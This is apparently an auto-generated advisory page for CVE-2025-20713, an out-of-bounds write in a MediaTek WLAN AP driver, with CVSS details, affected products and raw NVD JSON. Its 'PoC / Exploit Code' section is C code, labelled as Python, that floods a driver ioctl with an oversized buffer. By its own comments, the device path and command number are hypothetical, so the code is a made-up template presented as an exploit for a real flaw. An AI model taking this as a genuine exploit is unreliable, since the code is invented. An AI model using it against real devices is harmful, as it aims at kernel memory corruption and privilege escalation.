Security Vulnerability Report
中文
CVE-2025-20713 CVSS 7.8 HIGH

CVE-2025-20713

Published: 2025-10-14 10:15:36
Last Modified: 2025-10-16 15:22:06

Description

In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: WCNCR00432661; Issue ID: MSV-3904.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7663:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek WLAN AP Driver(具体受影响版本需参考MediaTek 2025年10月安全公告)
使用受影响MediaTek芯片的Android设备(具体型号待官方公告确认)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-20713 - MediaTek WLAN AP Driver Out-of-Bounds Write PoC * Vulnerability: Incorrect bounds check in WLAN AP driver leads to OOB write * Required: System privilege (already obtained) * * This PoC demonstrates the concept of triggering an out-of-bounds write * in the MediaTek WLAN AP driver by sending crafted ioctl commands with * oversized buffer parameters that bypass the insufficient bounds check. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <errno.h> // Hypothetical WLAN AP driver device path #define WLAN_AP_DEV_PATH "/dev/wlan_ap" // Hypothetical ioctl command for WLAN AP driver operations #define WLAN_AP_IOCTL_CMD 0x1001 // Oversized buffer to trigger out-of-bounds write #define OVERFLOW_SIZE 4096 #define EXPECTED_MAX_SIZE 256 int main(int argc, char *argv[]) { int fd; char *overflow_buffer; int ret; printf("[+] CVE-2025-20713 PoC - MediaTek WLAN AP Driver OOB Write\n"); printf("[+] Requires System privilege to exploit\n"); // Check if running with sufficient privileges if (getuid() != 0) { printf("[-] Error: This PoC requires root/System privilege\n"); printf("[-] Current UID: %d\n", getuid()); return -1; } // Open the WLAN AP driver device fd = open(WLAN_AP_DEV_PATH, O_RDWR); if (fd < 0) { printf("[-] Failed to open %s: %s\n", WLAN_AP_DEV_PATH, strerror(errno)); printf("[*] Note: Device path may vary on different devices\n"); return -1; } printf("[+] Opened WLAN AP driver device (fd: %d)\n", fd); // Allocate oversized buffer to trigger the bounds check bypass overflow_buffer = (char *)malloc(OVERFLOW_SIZE); if (!overflow_buffer) { printf("[-] Failed to allocate memory\n"); close(fd); return -1; } // Fill buffer with controlled data for potential code execution memset(overflow_buffer, 0x41, OVERFLOW_SIZE); printf("[+] Sending crafted ioctl with oversized buffer (%d bytes)\n", OVERFLOW_SIZE); printf("[+] Expected max size: %d bytes\n", EXPECTED_MAX_SIZE); printf("[+] This should trigger out-of-bounds write due to incorrect bounds check\n"); // Trigger the vulnerability via ioctl with oversized buffer ret = ioctl(fd, WLAN_AP_IOCTL_CMD, overflow_buffer); if (ret < 0) { printf("[-] ioctl failed: %s\n", strerror(errno)); } else { printf("[+] ioctl returned: %d\n", ret); printf("[!] Potential OOB write triggered - check system stability\n"); } // Cleanup free(overflow_buffer); close(fd); printf("[+] PoC execution completed\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20713", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:35.843", "lastModified": "2025-10-16T15:22:06.437", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: WCNCR00432661; Issue ID: MSV-3904."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.7.2", "matchCriteriaId": "0DD86CC1-BD46-42D2-9112-190CCAC96B30"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:*", "matchCriteriaId": "05748BB1-0D48-4097-932E-E8E2E574FD8D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:*", "matchCriteriaId": "55EB4B27-6264-45BE-9A22-BE8418BB0C06"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7663:-:*:*:*:*:*:*:*", "matchCriteriaId": "10C79211-F064-499D-914E-0BACD038FBF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:*", "matchCriteriaId": "3AB22996-9C22-4B6C-9E94-E4C055D16335"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD5AA441-5381-4179-89EB-1642120F72B4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:*", "matchCriteriaId": "490CD97B-021F-4350-AEE7-A2FA866D5889"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:*", "matchCriteriaId": "40A9E917-4B34-403F-B512-09EEBEA46811"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:*", "matchCriteriaId": "4FA469E2-9E63-4C9A-8EBA-10C8C870063A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/October-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}